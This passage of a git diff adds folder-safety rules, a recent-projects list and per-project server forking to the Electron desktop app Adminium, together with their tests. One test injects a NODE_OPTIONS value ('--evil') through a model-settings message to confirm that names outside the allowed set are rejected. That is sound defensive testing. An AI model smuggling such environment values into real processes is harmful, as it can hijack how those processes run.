+ expect(judgeNewProjectFolder('/Volumes/USB', 'Juniper', deps({ holdsLinks: () => null }))).toMatchObject({ ok: true, warning: null });
+ });
+
+ it('a home folder that itself lies under a system name is still the person’s', () => {
+ const linux = deps({ home: '/var/home/ava', platform: 'linux' });
+ expect(judgeNewProjectFolder('/var/home/ava/Adminium', 'Juniper', linux)).toMatchObject({ ok: true });
+ expect(judgeNewProjectFolder('/var/lib', 'Juniper', linux)).toMatchObject({ ok: false, refused: 'system-folder' });
+ });
+});
+
+describe('on a real disk', () => {
+ let dir: string;
+ beforeEach(() => {
+ dir = realpathSync(mkdtempSync(join(tmpdir(), 'adminium-projects-')));
+ });
+ afterEach(() => {
+ rmSync(dir, { recursive: true, force: true });
+ });
+
+ it('sees a project above through a real link, and an empty folder as empty', () => {
+ mkdirSync(join(dir, 'shop', 'apps'), { recursive: true });
+ writeFileSync(join(dir, 'shop', 'adminium.config.ts'), '');
+ symlinkSync(join(dir, 'shop', 'apps'), join(dir, 'shortcut'));
+ mkdirSync(join(dir, 'free', 'juniper'), { recursive: true });
+ // The temporary folder stands in for the person's own: what is under it is theirs, whatever the system calls its place.
+ const real = { ...realFolderDeps(join(dir, 'app')), home: dir };
+ expect(judgeNewProjectFolder(join(dir, 'shortcut'), 'Second', real)).toMatchObject({ ok: false, refused: 'inside-a-project' });
+ expect(judgeNewProjectFolder(join(dir, 'free'), 'Juniper', real)).toEqual({ ok: true, path: join(dir, 'free', 'juniper'), warning: null });
+ writeFileSync(join(dir, 'free', 'juniper', 'x.txt'), 'x');
+ expect(judgeNewProjectFolder(join(dir, 'free'), 'Juniper', real)).toMatchObject({ ok: false, refused: 'exists-with-files' });
+ });
+});
diff --git a/apps/desktop/src/main/projects.ts b/apps/desktop/src/main/projects.ts
new file mode 100644
index 000000000..7c04eb9e4
--- /dev/null
+++ b/apps/desktop/src/main/projects.ts
@@ -0,0 +1,208 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+/**
+ * The project folders the app knows: the recent list, and where a new project
+ * may go.
+ *
+ * Electron-free: it is given paths and answers with decisions, so every rule is
+ * tested under plain Node. The words for each refusal and warning are the
+ * pages'; this module hands them a reason.
+ */
+import { existsSync, readdirSync, realpathSync, statSync } from 'node:fs';
+import { homedir } from 'node:os';
+import { basename, dirname, isAbsolute, join, parse, relative, resolve } from 'node:path';
+
+import { detectCloudSyncFolder, MAX_RECENT_PROJECTS, type CloudSyncProvider, type DesktopConfig, type ProjectEntry } from './config.js';
+
+// ─── The recent list ─────────────────────────────────────────────────────────
+
+/** A project as the first screen lists it. */
+export interface RecentProject extends ProjectEntry {
+ /** The folder is no longer where it was: moved, deleted, or on a disk that is not attached. */
+ missing: boolean;
+}
+
+/** The files that make a folder a project, as the server looks for them. */
+export const PROJECT_CONFIG_FILES = ['adminium.config.ts', 'adminium.config.mjs', 'adminium.config.js'] as const;
+
+export function isProjectFolder(dir: string, exists: (path: string) => boolean = existsSync): boolean {
+ return PROJECT_CONFIG_FILES.some((file) => exists(join(dir, file)));
+}
+
+export function recentProjects(config: DesktopConfig, exists: (path: string) => boolean = existsSync): RecentProject[] {
+ return [...config.projects]
+ .sort((a, b) => (a.lastOpened < b.lastOpened ? 1 : a.lastOpened > b.lastOpened ? -1 : 0))
+ .map((project) => ({ ...project, missing: !isProjectFolder(project.path, exists) }));
+}
+
+/**
+ * Put a project at the head of the list, as opened now. A project already
+ * listed keeps what the app knows of it (its share port, the trust it was
+ * given) unless the caller says otherwise; the list keeps its newest twelve.
+ */
+export function rememberProject(
+ config: DesktopConfig,
+ project: { path: string; name: string } & Partial>,
+ now: Date = new Date(),
+): DesktopConfig {
+ const known = config.projects.find((entry) => entry.path === project.path);
+ const entry: ProjectEntry = {
+ path: project.path,
+ name: project.name,
+ lastOpened: now.toISOString(),
+ state: project.state ?? known?.state ?? 'building',
+ sharePort: project.sharePort === undefined ? (known?.sharePort ?? null) : project.sharePort,
+ trusted: project.trusted === undefined ? (known?.trusted ?? null) : project.trusted,
+ reviewed: project.reviewed ?? known?.reviewed ?? false,
+ engineNoted: project.engineNoted === undefined ? (known?.engineNoted ?? null) : project.engineNoted,
+ };
+ const rest = config.projects.filter((other) => other.path !== project.path);
+ return { ...config, projects: [entry, ...rest].slice(0, MAX_RECENT_PROJECTS) };
+}
+
+/** "Remove": the list forgets the folder. Nothing on disk is touched. */
+export function forgetProject(config: DesktopConfig, path: string): DesktopConfig {
+ return { ...config, projects: config.projects.filter((entry) => entry.path !== path) };
+}
+
+export type RelocateResult = { ok: true; config: DesktopConfig } | { ok: false; reason: 'not-a-project' | 'not-listed' | 'already-listed' };
+
+/**
+ * "Locate…": the same project, at a new place. The trust it was given does NOT
+ * move with it: a folder at another path is asked about again, because what is
+ * there may not be what was agreed to.
+ */
+export function relocateProject(config: DesktopConfig, from: string, to: string, exists: (path: string) => boolean = existsSync): RelocateResult {
+ const known = config.projects.find((entry) => entry.path === from);
+ if (known === undefined) return { ok: false, reason: 'not-listed' };
+ if (!isProjectFolder(to, exists)) return { ok: false, reason: 'not-a-project' };
+ if (to !== from && config.projects.some((entry) => entry.path === to)) return { ok: false, reason: 'already-listed' };
+ return { ok: true, config: { ...config, projects: config.projects.map((entry) => (entry.path === from ? { ...entry, path: to, trusted: null } : entry)) } };
+}
+
+// ─── Where a new project may go ──────────────────────────────────────────────
+
+export type FolderRefusal = 'no-name' | 'bad-name' | 'home-folder' | 'system-folder' | 'inside-the-app' | 'inside-a-project' | 'exists-with-files' | 'not-absolute';
+export type FolderWarning = 'icloud' | 'onedrive' | 'dropbox' | 'googledrive' | 'no-links';
+
+export type NewProjectFolder =
+ | { ok: true; path: string; warning: FolderWarning | null }
+ | { ok: false; path: string | null; refused: FolderRefusal };
+
+export interface FolderDeps {
+ home: string;
+ /** The app's own folder (its bundle, or the folder it runs from). */
+ appDir: string;
+ platform: NodeJS.Platform;
+ exists: (path: string) => boolean;
+ /** The real path of the nearest folder that exists, links followed. */
+ real: (path: string) => string;
+ /** What a folder holds, or `null` when it is not a folder that can be read. */
+ list: (path: string) => string[] | null;
+ /** Whether the disk under this folder can hold links (`null`: could not tell). */
+ holdsLinks?: (path: string) => boolean | null;
+}
+
+/** A project's name as a folder's: lower case, words joined by dashes. */
+export function folderNameFor(name: string): string {
+ return name
+ .normalize('NFKD')
+ .replace(/[\u0300-\u036f]/g, '')
+ .toLowerCase()
+ .replace(/[^a-z0-9]+/g, '-')
+ .replace(/^-+|-+$/g, '')
+ .slice(0, 60);
+}
+
+/** Where the app proposes to keep a new project: `~/Adminium/`. */
+export function proposedParent(home: string = homedir()): string {
+ return join(home, 'Adminium');
+}
+
+const within = (inner: string, outer: string): boolean => {
+ const rel = relative(outer, inner);
+ return rel === '' || (!rel.startsWith('..') && !isAbsolute(rel));
+};
+
+/** The folders nothing of a person's should be made in. */
+function systemFolders(platform: NodeJS.Platform): string[] {
+ if (platform === 'win32') return ['C:\\Windows', 'C:\\Program Files', 'C:\\Program Files (x86)', 'C:\\ProgramData'];
+ if (platform === 'darwin') return ['/System', '/Library', '/Applications', '/usr', '/bin', '/sbin', '/etc', '/var', '/private', '/opt', '/dev'];
+ return ['/usr', '/bin', '/sbin', '/etc', '/var', '/opt', '/boot', '/dev', '/proc', '/sys', '/lib', '/lib64', '/root'];
+}
+
+/** The nearest parent of `path` that exists, by its real path, with the rest of `path` put back. */
+function realOf(path: string, deps: FolderDeps): string {
+ let existing = path;
+ const tail: string[] = [];
+ while (!deps.exists(existing)) {
+ const parent = dirname(existing);
+ if (parent === existing) break;
+ tail.unshift(basename(existing));
+ existing = parent;
+ }
+ let real = existing;
+ try {
+ real = deps.real(existing);
+ } catch {
+ // Not readable: judged by its name.
+ }
+ return tail.length === 0 ? real : join(real, ...tail);
+}
+
+const SYNCED: Record = { icloud: 'icloud', onedrive: 'onedrive', dropbox: 'dropbox', googleDrive: 'googledrive' };
+
+/**
+ * Judge where a new project is to go: `/`.
+ *
+ * The app always makes a folder of its own; it never fills one that holds
+ * files. Refused: the home folder itself, a system folder, a folder inside the
+ * app, a folder inside another project (found by walking up REAL paths, so a
+ * link into a project is seen), and a folder that exists and is not empty.
+ * Warned, with the choice left to the person: a synced folder, and a disk that
+ * cannot hold links.
+ */
+export function judgeNewProjectFolder(parent: string, name: string, deps: FolderDeps): NewProjectFolder {
+ const folder = folderNameFor(name);
+ if (name.trim() === '') return { ok: false, path: null, refused: 'no-name' };
+ if (folder === '') return { ok: false, path: null, refused: 'bad-name' };
+ if (!isAbsolute(parent)) return { ok: false, path: null, refused: 'not-absolute' };
+ const path = realOf(resolve(parent, folder), deps);
+ const home = realOf(deps.home, deps);
+
+ if (path === home || path === parse(path).root) return { ok: false, path, refused: 'home-folder' };
+ if (within(path, realOf(deps.appDir, deps))) return { ok: false, path, refused: 'inside-the-app' };
+ // The home folder may itself be under a system folder's name on some systems (/var/home): what is inside it is the person's.
+ if (!within(path, home) && systemFolders(deps.platform).some((system) => within(path, system))) return { ok: false, path, refused: 'system-folder' };
+
+ // Up from the folder's parent: a project found anywhere above would adopt this one as its own.
+ for (let dir = dirname(path); ; dir = dirname(dir)) {
+ if (isProjectFolder(dir, deps.exists)) return { ok: false, path, refused: 'inside-a-project' };
+ if (dirname(dir) === dir) break;
+ }
+ const holds = deps.list(path);
+ if (holds !== null && holds.some((entry) => entry !== '.DS_Store' && entry !== 'Thumbs.db' && entry !== 'desktop.ini')) return { ok: false, path, refused: 'exists-with-files' };
+
+ const synced = detectCloudSyncFolder(path);
+ if (synced !== null) return { ok: true, path, warning: SYNCED[synced.provider] };
+ if (deps.holdsLinks?.(dirname(path)) === false) return { ok: true, path, warning: 'no-links' };
+ return { ok: true, path, warning: null };
+}
+
+/** {@link FolderDeps} for a real machine. */
+export function realFolderDeps(appDir: string, platform: NodeJS.Platform = process.platform): FolderDeps {
+ return {
+ home: homedir(),
+ appDir,
+ platform,
+ exists: existsSync,
+ real: (path) => realpathSync(path),
+ list: (path) => {
+ try {
+ if (!statSync(path).isDirectory()) return null;
+ return readdirSync(path);
+ } catch {
+ return null;
+ }
+ },
+ };
+}
diff --git a/apps/desktop/src/main/server-manager.test.ts b/apps/desktop/src/main/server-manager.test.ts
index 0a60e2b19..a6cf2d7e8 100644
--- a/apps/desktop/src/main/server-manager.test.ts
+++ b/apps/desktop/src/main/server-manager.test.ts
@@ -28,6 +28,11 @@ import {
type ServerChildLike,
type ServerExit,
type ServerState,
+ BUSY_ANSWER_TIMEOUT_MS,
+ DEFAULT_READY_TIMEOUT_MS,
+ DEFAULT_SHUTDOWN_TIMEOUT_MS,
+ PROJECT_BUSY_SHUTDOWN_TIMEOUT_MS,
+ PROJECT_READY_TIMEOUT_MS,
} from './server-manager.js';
// ─── Fakes ───────────────────────────────────────────────────────────────────
@@ -704,3 +709,318 @@ describe('ServerManager.subscribe', () => {
expect(h.states.map((state) => state.status)).toEqual(['idle', 'starting', 'ready']);
});
});
+
+// ─── A project folder (plan 66, spec 05) ─────────────────────────────────────
+
+describe('ServerManager serving a project', () => {
+ const ROOT = '/Users/someone/Adminium/juniper';
+ const tick = async (): Promise => {
+ for (let i = 0; i < 5; i += 1) await Promise.resolve();
+ };
+
+ function project(over: Partial = {}, ports: number[] = [4700, 4701, 4702]) {
+ const asked: string[] = [];
+ const h = harness({
+ dataDir: undefined,
+ secret: undefined,
+ singleUser: undefined,
+ project: {
+ root: ROOT,
+ mode: 'design',
+ bundledAppsDir: '/app/apps-bundle',
+ programs: '{"binary":"/app/Adminium"}',
+ pickPort: (mode) => {
+ asked.push(mode);
+ return Promise.resolve(ports.shift() ?? 4799);
+ },
+ },
+ ...over,
+ });
+ return { ...h, asked };
+ }
+
+ async function up(h: Harness, index: number, port: number): Promise {
+ await tick();
+ childAt(h, index).ready(port);
+ await tick();
+ }
+
+ it('forks with the project’s block: the folder, a port picked first, and nothing of the classic workspace', async () => {
+ const h = project();
+ const started = h.manager.start();
+ await up(h, 0, 4700);
+ await expect(started).resolves.toMatchObject({ port: 4700, url: 'http://127.0.0.1:4700' });
+
+ const env = h.forkCalls[0]?.env ?? {};
+ expect(env).toMatchObject({
+ ADMINIUM_RUNTIME: 'desktop',
+ ADMINIUM_DESKTOP_PROJECT: ROOT,
+ ADMINIUM_DESKTOP_PROJECT_MODE: 'design',
+ ADMINIUM_PORT: '4700',
+ ADMINIUM_HOST: '127.0.0.1',
+ ADMINIUM_BUNDLED_APPS: '/app/apps-bundle',
+ ADMINIUM_DESKTOP_PROGRAMS: '{"binary":"/app/Adminium"}',
+ ADMINIUM_BOOT_TOKEN: TOKEN,
+ });
+ for (const name of ['ADMINIUM_SECRET', 'ADMINIUM_DATA_DIR', 'ADMINIUM_META_DSN', 'ADMINIUM_DESKTOP_SINGLE_USER']) expect(env).not.toHaveProperty(name);
+ expect(h.manager.project).toEqual({ root: ROOT, mode: 'design' });
+ expect(h.manager.bootToken).toBe(TOKEN);
+ });
+
+ it('the classic manager names no project', () => {
+ expect(harness().manager.project).toBeNull();
+ });
+
+ it('picks the port again at every fork, and a restart can change how the folder is served', async () => {
+ const h = project();
+ void h.manager.start();
+ await up(h, 0, 4700);
+
+ const again = h.manager.restart({ mode: 'serve', host: '0.0.0.0' });
+ await tick();
+ // Nothing is in the way: the question is answered, then the stop is asked for.
+ childAt(h, 0).send({ type: 'busy', busy: null });
+ await tick();
+ expect(childAt(h, 0).posted).toEqual([{ type: 'busy?' }, { type: 'shutdown' }]);
+ childAt(h, 0).exit(0);
+ await up(h, 1, 4701);
+ await expect(again).resolves.toMatchObject({ port: 4701 });
+
+ expect(h.asked).toEqual(['design', 'serve']);
+ expect(h.forkCalls[1]?.env).toMatchObject({ ADMINIUM_PORT: '4701', ADMINIUM_DESKTOP_PROJECT_MODE: 'serve', ADMINIUM_HOST: '0.0.0.0' });
+ expect(h.manager.project).toEqual({ root: ROOT, mode: 'serve' });
+ });
+
+ it('waits two minutes for a first start, not thirty seconds', async () => {
+ const h = project();
+ const started = h.manager.start();
+ started.catch(() => undefined);
+ await tick();
+ h.clock.advance(DEFAULT_READY_TIMEOUT_MS + 1);
+ await tick();
+ expect(h.manager.state.status).toBe('starting');
+ h.clock.advance(PROJECT_READY_TIMEOUT_MS);
+ await expect(started).rejects.toThrow(/did not start within 120 seconds/);
+ });
+
+ it('a start that fails is one failure with the server’s own words, and nothing is tried again', async () => {
+ const h = project();
+ const started = h.manager.start();
+ await tick();
+ childAt(h, 0).send({ type: 'error', stage: 'project', message: 'This project is already running (in a terminal), on port 4711.' });
+ await expect(started).rejects.toThrow('(project): This project is already running (in a terminal), on port 4711.');
+ childAt(h, 0).exit(1);
+ h.clock.advance(60_000);
+ await tick();
+ expect(h.children).toHaveLength(1);
+ expect(h.manager.state.status).toBe('failed');
+ });
+
+ it('a server that stops on its own is not restarted behind the person’s back', async () => {
+ const h = project();
+ void h.manager.start();
+ await up(h, 0, 4700);
+ childAt(h, 0).exit(1);
+ h.clock.advance(60_000);
+ await tick();
+ expect(h.children).toHaveLength(1);
+ expect(h.manager.state).toMatchObject({ status: 'failed', reason: 'This project’s server stopped (exit code 1).'.replace('’', "'") });
+ expect(h.exits).toEqual([expect.objectContaining({ willRestart: false, giveUp: true })]);
+ });
+
+ it('asks what the server is in the middle of, and takes silence for nothing', async () => {
+ const h = project();
+ void h.manager.start();
+ await up(h, 0, 4700);
+
+ const asked = h.manager.busy();
+ expect(childAt(h, 0).posted).toEqual([{ type: 'busy?' }]);
+ childAt(h, 0).send({ type: 'busy', busy: { kind: 'turn', sessionId: 'ds_1' } });
+ await expect(asked).resolves.toEqual({ kind: 'turn', sessionId: 'ds_1' });
+
+ const silent = h.manager.busy();
+ h.clock.advance(BUSY_ANSWER_TIMEOUT_MS);
+ await expect(silent).resolves.toBeNull();
+ });
+
+ it('an answer that comes after the wait is over changes nothing, and a project needs no bundled apps', async () => {
+ const h = harness({ dataDir: undefined, secret: undefined, singleUser: undefined, project: { root: ROOT, mode: 'serve', pickPort: () => Promise.resolve(4700) } });
+ void h.manager.start();
+ await up(h, 0, 4700);
+ expect(h.forkCalls[0]?.env).not.toHaveProperty('ADMINIUM_BUNDLED_APPS');
+ expect(h.forkCalls[0]?.env).not.toHaveProperty('ADMINIUM_DESKTOP_PROGRAMS');
+ const late = h.manager.busy();
+ h.clock.advance(BUSY_ANSWER_TIMEOUT_MS);
+ await expect(late).resolves.toBeNull();
+ const next = h.manager.busy();
+ childAt(h, 0).send({ type: 'busy', busy: { kind: 'save', sessionId: null } });
+ childAt(h, 0).send({ type: 'busy', busy: null });
+ await expect(next).resolves.toEqual({ kind: 'save', sessionId: null });
+ });
+
+ it('tells the running server when the app’s programs change, and starts every later one with them', async () => {
+ const h = project();
+ // Before it is up there is nobody to tell: the value waits for the fork.
+ h.manager.setPrograms('{"binary":"/app/Adminium","git":null}');
+ void h.manager.start();
+ await up(h, 0, 4700);
+ expect(h.forkCalls[0]?.env).toHaveProperty('ADMINIUM_DESKTOP_PROGRAMS', '{"binary":"/app/Adminium","git":null}');
+ expect(childAt(h, 0).posted).toEqual([]);
+
+ const WITH_GIT = '{"binary":"/app/Adminium","git":"/data/git/bin/git"}';
+ h.manager.setPrograms(WITH_GIT);
+ expect(childAt(h, 0).posted).toEqual([{ type: 'programs', value: WITH_GIT }]);
+
+ // A child that cannot be told any more (on its way out) is not a failure: the next fork has the value.
+ childAt(h, 0).postMessage = () => {
+ throw new Error('closed');
+ };
+ expect(() => h.manager.setPrograms(WITH_GIT)).not.toThrow();
+ });
+
+ it('gives a project being built the app’s keys once it is up, never in what it is started with, and again when they change', async () => {
+ const h = project();
+ const KEYS = { values: { ADMINIUM_AI_ANTHROPIC_API_KEY: 'sk-ant-secret', ADMINIUM_AI_MODEL: 'anthropic/claude' }, keeping: 'key-store' as const };
+ h.manager.setModels(KEYS);
+ void h.manager.start();
+ // Not in its environment, not in its arguments.
+ await vi.waitFor(() => expect(h.forkCalls).toHaveLength(1));
+ expect(JSON.stringify(h.forkCalls[0])).not.toContain('sk-ant-secret');
+ expect(childAt(h, 0).posted).toEqual([]);
+ await up(h, 0, 4700);
+ expect(childAt(h, 0).posted).toEqual([{ type: 'models', ...KEYS }]);
+
+ h.manager.setModels({ values: { ADMINIUM_AI_MODEL: 'ollama/llama3' }, keeping: 'plain' });
+ expect(childAt(h, 0).posted.at(-1)).toEqual({ type: 'models', values: { ADMINIUM_AI_MODEL: 'ollama/llama3' }, keeping: 'plain' });
+ childAt(h, 0).postMessage = () => {
+ throw new Error('closed');
+ };
+ expect(() => h.manager.setModels(KEYS)).not.toThrow();
+ });
+
+ it('hands on what the model screen saved, from a project being built and from nothing else', async () => {
+ const h = project();
+ const saved: unknown[] = [];
+ const off = h.manager.onKeepModel((values) => void saved.push(values));
+ void h.manager.start();
+ await up(h, 0, 4700);
+ childAt(h, 0).send({ type: 'keep-model', values: { ADMINIUM_AI_OPENAI_API_KEY: 'sk-1', ADMINIUM_AI_MODEL: null } });
+ expect(saved).toEqual([{ ADMINIUM_AI_OPENAI_API_KEY: 'sk-1', ADMINIUM_AI_MODEL: null }]);
+ // A name that is not one of the eight is not a message at all.
+ childAt(h, 0).send({ type: 'keep-model', values: { NODE_OPTIONS: '--evil' } });
+ expect(saved).toHaveLength(1);
+ off();
+ childAt(h, 0).send({ type: 'keep-model', values: { ADMINIUM_AI_MODEL: 'a/b' } });
+ expect(saved).toHaveLength(1);
+
+ // Shared: no Designer, so no keys down and none taken up.
+ const shared = harness({ dataDir: undefined, secret: undefined, singleUser: undefined, project: { root: ROOT, mode: 'serve', pickPort: () => Promise.resolve(4701) } });
+ const taken: unknown[] = [];
+ shared.manager.onKeepModel((values) => void taken.push(values));
+ shared.manager.setModels({ values: { ADMINIUM_AI_MODEL: 'a/b' }, keeping: 'key-store' });
+ void shared.manager.start();
+ await up(shared, 0, 4701);
+ expect(childAt(shared, 0).posted).toEqual([]);
+ childAt(shared, 0).send({ type: 'keep-model', values: { ADMINIUM_AI_MODEL: 'x/y' } });
+ expect(taken).toEqual([]);
+ // And the classic workspace is told nothing.
+ const classic = harness();
+ classic.manager.setModels({ values: { ADMINIUM_AI_MODEL: 'a/b' }, keeping: 'key-store' });
+ void classic.manager.start();
+ await up(classic, 0, 4600);
+ expect(childAt(classic, 0).posted).toEqual([]);
+ });
+
+ it('the classic workspace has no programs to be told of', async () => {
+ const h = harness();
+ void h.manager.start();
+ await up(h, 0, 4600);
+ h.manager.setPrograms('{"binary":"/app/Adminium"}');
+ expect(childAt(h, 0).posted).toEqual([]);
+ });
+
+ it('a server that is not up is not asked', async () => {
+ const h = project();
+ await expect(h.manager.busy()).resolves.toBeNull();
+ expect(h.children).toHaveLength(0);
+ });
+
+ it('gives a server in the middle of a turn twenty seconds to end it, an idle one five', async () => {
+ const h = project();
+ void h.manager.start();
+ await up(h, 0, 4700);
+ const stopping = h.manager.stop();
+ await tick();
+ childAt(h, 0).send({ type: 'busy', busy: { kind: 'turn', sessionId: 'ds_1' } });
+ await tick();
+ h.clock.advance(DEFAULT_SHUTDOWN_TIMEOUT_MS + 1);
+ expect(childAt(h, 0).killed).toBe(false);
+ h.clock.advance(PROJECT_BUSY_SHUTDOWN_TIMEOUT_MS);
+ await stopping;
+ expect(childAt(h, 0).killed).toBe(true);
+
+ const idle = project();
+ void idle.manager.start();
+ await up(idle, 0, 4700);
+ const stop = idle.manager.stop();
+ await tick();
+ childAt(idle, 0).send({ type: 'busy', busy: null });
+ await tick();
+ idle.clock.advance(DEFAULT_SHUTDOWN_TIMEOUT_MS + 1);
+ await stop;
+ expect(childAt(idle, 0).killed).toBe(true);
+ });
+
+ it('a busy answer never passes for a start’s outcome', async () => {
+ const h = project();
+ const started = h.manager.start();
+ await tick();
+ childAt(h, 0).send({ type: 'busy', busy: null });
+ await tick();
+ expect(h.manager.state.status).toBe('starting');
+ childAt(h, 0).ready(4700);
+ await expect(started).resolves.toMatchObject({ port: 4700 });
+ });
+
+ it('hands on the app’s own folders, the log level and the person’s environment, stripped', async () => {
+ const h = project({ logLevel: 'debug', staticRoot: '/app/out/dashboard', bundledAddOnsDir: '/app/add-ons', inheritEnv: { PATH: '/usr/bin', ADMINIUM_SECRET: 'inherited', ADMINIUM_DESKTOP_PROJECT: '/elsewhere' } });
+ void h.manager.start();
+ await up(h, 0, 4700);
+ expect(h.forkCalls[0]?.env).toMatchObject({ ADMINIUM_LOG_LEVEL: 'debug', ADMINIUM_STATIC_ROOT: '/app/out/dashboard', ADMINIUM_BUNDLED_ADD_ONS: '/app/add-ons', PATH: '/usr/bin', ADMINIUM_DESKTOP_PROJECT: ROOT });
+ expect(h.forkCalls[0]?.env).not.toHaveProperty('ADMINIUM_SECRET');
+ });
+
+ it('a port that cannot be picked is a start that fails with those words, and no child', async () => {
+ const h = harness({ dataDir: undefined, secret: undefined, singleUser: undefined, project: { root: ROOT, mode: 'design', pickPort: () => Promise.reject(new Error('No port from 4700 to 4799 is free on this computer.')) } });
+ await expect(h.manager.start()).rejects.toThrow('Could not start the Adminium server process: No port from 4700 to 4799 is free on this computer.');
+ expect(h.children).toHaveLength(0);
+ expect(h.manager.state.status).toBe('failed');
+ });
+
+ it('a child that cannot be asked is taken for idle, and a mode means nothing to the classic manager', async () => {
+ const h = project();
+ void h.manager.start();
+ await up(h, 0, 4700);
+ childAt(h, 0).postMessage = () => {
+ throw new Error('port closed');
+ };
+ await expect(h.manager.busy()).resolves.toBeNull();
+
+ const classic = harness();
+ void classic.manager.start();
+ childAt(classic, 0).ready();
+ await tick();
+ const again = classic.manager.restart({ mode: 'serve' });
+ childAt(classic, 0).exit(0);
+ await tick();
+ childAt(classic, 1).ready();
+ await again;
+ expect(classic.manager.project).toBeNull();
+ expect(classic.forkCalls[1]?.env).not.toHaveProperty('ADMINIUM_DESKTOP_PROJECT_MODE');
+ });
+
+ it('the classic workspace still needs its own three', async () => {
+ const h = harness({ secret: undefined });
+ await expect(h.manager.start()).rejects.toThrow(/needs its data folder, its secret and its sign-in rule/);
+ });
+});
diff --git a/apps/desktop/src/main/server-manager.ts b/apps/desktop/src/main/server-manager.ts
index 6a2e7536b..89276ed07 100644
--- a/apps/desktop/src/main/server-manager.ts
+++ b/apps/desktop/src/main/server-manager.ts
@@ -46,12 +46,14 @@
import { utilityProcess } from 'electron';
import {
+ buildProjectServerEnv,
buildServerEnv,
LOOPBACK_HOST,
type BuildServerEnvInput,
type DesktopLogLevel,
+ type DesktopProjectMode,
} from '../server/env.js';
-import { parseServerMessage, type ServerReadyMessage } from '../server/protocol.js';
+import { parseServerMessage, type ServerBusyMessage, type ServerReadyMessage, type KeptKeyName, type ServerKeepModelMessage } from '../server/protocol.js';
import {
createDesktopLogging,
createMemoryLogSink,
@@ -194,6 +196,48 @@ export const DEFAULT_RESTART_POLICY: RestartPolicy = {
export const DEFAULT_READY_TIMEOUT_MS = 30_000;
/** How long a `shutdown` message gets before `kill()`. */
export const DEFAULT_SHUTDOWN_TIMEOUT_MS = 5_000;
+
+/**
+ * A project's first start builds its apps' screens and migrates its own
+ * database before it listens; thirty seconds is the classic workspace's
+ * number, for a store that is already there.
+ */
+export const PROJECT_READY_TIMEOUT_MS = 120_000;
+/** How long a project's server gets to end a turn or an install it is in the middle of. */
+export const PROJECT_BUSY_SHUTDOWN_TIMEOUT_MS = 20_000;
+/** How long main waits for the answer to `busy?` before it takes silence for "nothing". */
+export const BUSY_ANSWER_TIMEOUT_MS = 2_000;
+
+/** What a project's server is in the middle of, in the Designer's own word. */
+export type ServerBusy = NonNullable;
+
+/**
+ * A manager that serves a project folder instead of the classic workspace
+ * (plan 66, spec 05). The folder is one the person already said yes to, and
+ * that is ready to start: this object forks, it does not ask.
+ */
+export interface ProjectServerOptions {
+ /** The project's folder, by its real path. */
+ root: string;
+ mode: DesktopProjectMode;
+ /**
+ * A free port, asked for before EVERY fork: design mode must know its port
+ * before it listens (its two host names are built from it), and a port
+ * reused across a restart that something else took meanwhile is a start
+ * that fails for no reason the person could see.
+ */
+ pickPort: (mode: DesktopProjectMode) => Promise;
+ /** The app's own bundled apps, as an absolute path. */
+ bundledAppsDir?: string | undefined;
+ /** Where the app's own programs are (`ADMINIUM_DESKTOP_PROGRAMS`), made at this launch. */
+ programs?: string | undefined;
+}
+/** The keys the app keeps and how it holds them at rest, as a project's server is told them. */
+export interface KeptModels {
+ values: Partial>;
+ keeping: 'key-store' | 'plain';
+}
+
/** Lines of log attached to a failure. Enough for a stack, short enough to read. */
export const CRASH_EXCERPT_LINES = 20;
@@ -220,6 +264,10 @@ export function decideRestart(input: RestartDecisionInput): RestartDecision {
if (input.expected) return { action: 'none' };
const count = input.exitsInWindow.length;
+ // A policy of no restarts at all (a project's): one stop is the end, in words that do not count to zero.
+ if (input.policy.maxRestarts === 0) {
+ return { action: 'give-up', reason: `This project's server stopped${input.exitCode === null ? '' : ` (exit code ${String(input.exitCode)})`}.` };
+ }
if (count >= input.policy.maxRestarts) {
const seconds = Math.round(input.policy.windowMs / 1000);
return {
@@ -276,9 +324,11 @@ export interface CreateServerManagerOptions {
/** Absolute path of `out/server/index.js`. */
entry: string;
/** `dataDir`, absolute. */
- dataDir: string;
+ /** The classic workspace's. Not read when {@link project} is given. */
+ dataDir?: string | undefined;
/** The decrypted `ADMINIUM_SECRET`. */
- secret: string;
+ /** The classic workspace's. Not read when {@link project} is given. */
+ secret?: string | undefined;
/**
* Mints boot token. Called ONCE PER FORK, not once per app launch — read
* {@link ServerManager.bootToken} after `ready` to learn the live child's
@@ -309,7 +359,10 @@ export interface CreateServerManagerOptions {
* BuildServerEnvInput.singleUser} gives: forgetting it is a silent 403 on
* every launch, not a compile error.
*/
- singleUser: boolean;
+ /** The classic workspace's. Not read when {@link project} is given. */
+ singleUser?: boolean | undefined;
+ /** Serve this project folder instead of the classic workspace. */
+ project?: ProjectServerOptions | undefined;
/** Defaults to loopback; only the LAN toggle passes `0.0.0.0`. */
host?: string | undefined;
/** Defaults to 0 — the random free port. */
@@ -358,7 +411,29 @@ export interface ServerManager {
/** Graceful: `shutdown` message, then `kill()` if ignored. */
stop(): Promise;
/** Deliberate (LAN toggle). Not throttled, not counted. */
- restart(changes?: { host?: string; port?: number }): Promise;
+ restart(changes?: { host?: string; port?: number; mode?: DesktopProjectMode }): Promise;
+ /**
+ * The app's own programs changed while a project is open (git was fetched):
+ * the live child is told, and every later fork starts with the new value.
+ * Nothing for the classic workspace.
+ */
+ setPrograms(value: string): void;
+ /**
+ * The keys the app keeps, for a project that is being built: told to the
+ * running server, and to every later one as soon as it is up. Never part of
+ * a child's environment. A shared project and the classic workspace are told
+ * nothing.
+ */
+ setModels(models: KeptModels): void;
+ /** What a project's model screen saved, to be kept by the app. Returns an unsubscribe. */
+ onKeepModel(listener: (values: ServerKeepModelMessage['values']) => void): () => void;
+ /** The project this manager serves and how, or `null` for the classic workspace. */
+ readonly project: { readonly root: string; readonly mode: DesktopProjectMode } | null;
+ /**
+ * What the server is in the middle of, or `null` (also when it does not
+ * answer in time, or is not running). Asked before anything that ends it.
+ */
+ busy(): Promise;
/** Unexpected post-`ready` exits only. Returns an unsubscribe. */
onExit(listener: ServerExitListener): () => void;
/** Every state transition, called immediately with the current one. */
@@ -376,11 +451,15 @@ class ServerManagerImpl implements ServerManager {
readonly #log: LogSink;
readonly #timers: TimerApi;
readonly #now: () => number;
- readonly #policy: RestartPolicy;
+ #policy: RestartPolicy;
readonly #fork: ForkServer;
readonly #stateListeners = new Set();
readonly #exitListeners = new Set();
+ #models: KeptModels | null = null;
+ readonly #keepListeners = new Set<(values: ServerKeepModelMessage['values']) => void>();
+ /** The programs value a later `setPrograms` gave, over the one this manager was made with. */
+ #programs: string | null = null;
